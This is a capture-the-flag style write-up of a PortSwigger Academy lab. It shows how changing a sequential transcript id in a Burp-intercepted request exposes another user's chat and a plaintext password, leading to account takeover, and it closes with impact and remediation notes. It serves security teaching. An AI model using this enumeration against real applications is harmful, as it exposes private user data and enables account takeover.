PortSwigger Lab: Insecure direct object references

Lab Information:

Vulnerability Location: Insecure Direct Object References (IDOR)
Difficulty: APPRENTICE
Objective: Log in to Carlos's account
Tools: Burp Suite, Burp Repeater

Reconnaissance:

The lab description states that user chat transcripts are stored directly on the server and retrieved using static, sequential URLs. When an application relies on predictable identifiers to reference sensitive resources — without checking whether the requesting user is authorized to access them — it becomes vulnerable to an Insecure Direct Object Reference (IDOR).

With Burp Suite running, I navigated to the Live Chat feature and started a conversation with an agent, sending a random message to test the functionality.

After the conversation, I clicked View Transcript, which triggered a file download. I intercepted the request in Burp Suite:

GET /download-transcript/2.txt HTTP/2
Host: [0a1700d00483eacc829e7464006e00ac.web-security-academy.net](<http://0a1700d00483eacc829e7464006e00ac.web-security-academy.net/>)
Cookie: session=[REDACTED]

GET /download-transcript/2.txt HTTP/2
Host: [0a1700d00483eacc829e7464006e00ac.web-security-academy.net](<http://0a1700d00483eacc829e7464006e00ac.web-security-academy.net/>)
Cookie: session=[REDACTED]

The identifier 2.txt looked like a sequential, predictable value — a strong indicator of a potential IDOR. I decided to test whether other transcripts could be accessed by changing this number.

Exploitation:

Step 1: Test a different transcript identifier

Since my own transcript was numbered 2.txt, I guessed that 1.txt might belong to another user. I sent the request to Burp Repeater and changed the identifier:

GET /download-transcript/1.txt HTTP/2
Host: [0a1700d00483eacc829e7464006e00ac.web-security-academy.net](<http://0a1700d00483eacc829e7464006e00ac.web-security-academy.net/>)
Cookie: session=[REDACTED]

GET /download-transcript/1.txt HTTP/2
Host: [0a1700d00483eacc829e7464006e00ac.web-security-academy.net](<http://0a1700d00483eacc829e7464006e00ac.web-security-academy.net/>)
Cookie: session=[REDACTED]

The server returned another user's chat transcript, without verifying that I was authorized to access it:

HTTP/2 200 OK
Content-Type: text/plain; charset=utf-8
Content-Disposition: attachment; filename="1.txt"
CONNECTED: -- Now chatting with Hal Pline --
You: Hi Hal, I think I've forgotten my password and need confirmation that I've got the right one
Hal Pline: Sure, no problem, you seem like a nice guy. Just tell me your password and I'll confirm whether it's correct or not.
You: Ok so my password is b91ufgqx8fjts3vhsyzc. Is that right?
Hal Pline: Yes it is!

HTTP/2 200 OK
Content-Type: text/plain; charset=utf-8
Content-Disposition: attachment; filename="1.txt"
CONNECTED: -- Now chatting with Hal Pline --
You: Hi Hal, I think I've forgotten my password and need confirmation that I've got the right one
Hal Pline: Sure, no problem, you seem like a nice guy. Just tell me your password and I'll confirm whether it's correct or not.
You: Ok so my password is b91ufgqx8fjts3vhsyzc. Is that right?
Hal Pline: Yes it is!

The transcript revealed a plaintext password disclosed by a user during a support chat conversation.

Step 2: Verify whether the password belongs to Carlos

The transcript didn't explicitly name the user, so I tested whether the credentials belonged to Carlos, the lab's target account.

I logged in with carlos:b91ufgqx8fjts3vhsyzc, and the login succeeded, confirming the password belonged to Carlos and completing the lab objective.

Impact

This vulnerability allows any authenticated (or in some cases unauthenticated) user to access sensitive resources belonging to other users simply by guessing or iterating over predictable identifiers. In this specific case, it led to:

Disclosure of a private support chat transcript belonging to another user;
Exposure of a plaintext password shared during that conversation;
Full account takeover of the affected user.

In real-world applications, this pattern could expose thousands of chat logs, documents, or files simply by iterating over sequential numeric identifiers.

Remediation

To prevent this vulnerability, applications should:

Implement server-side authorization checks to verify that the requesting user owns or is authorized to access the referenced resource, on every request;
Avoid using sequential, predictable identifiers (such as incrementing integers) for sensitive resources; use unpredictable identifiers instead (though note that this alone is not a complete fix — see the GUID lab for reference);
Never allow sensitive information such as passwords to be transmitted or stored in plaintext, even within support chat logs;
Apply rate limiting and monitoring on endpoints that serve user-specific files, to detect enumeration attempts.

Disclaimer

This write-up was created for educational purposes only. All testing was performed in an authorized PortSwigger Web Security Academy laboratory environment. Never test systems without explicit authorization.

This article was written with the assistance of artificial intelligence tools for text review and grammar correction. However, the entire testing process, technical analysis, vulnerability exploitation, and conclusions presented are the sole responsibility of the author and are based on tests performed in a controlled environment provided by the PortSwigger Web Security Academy.

Contents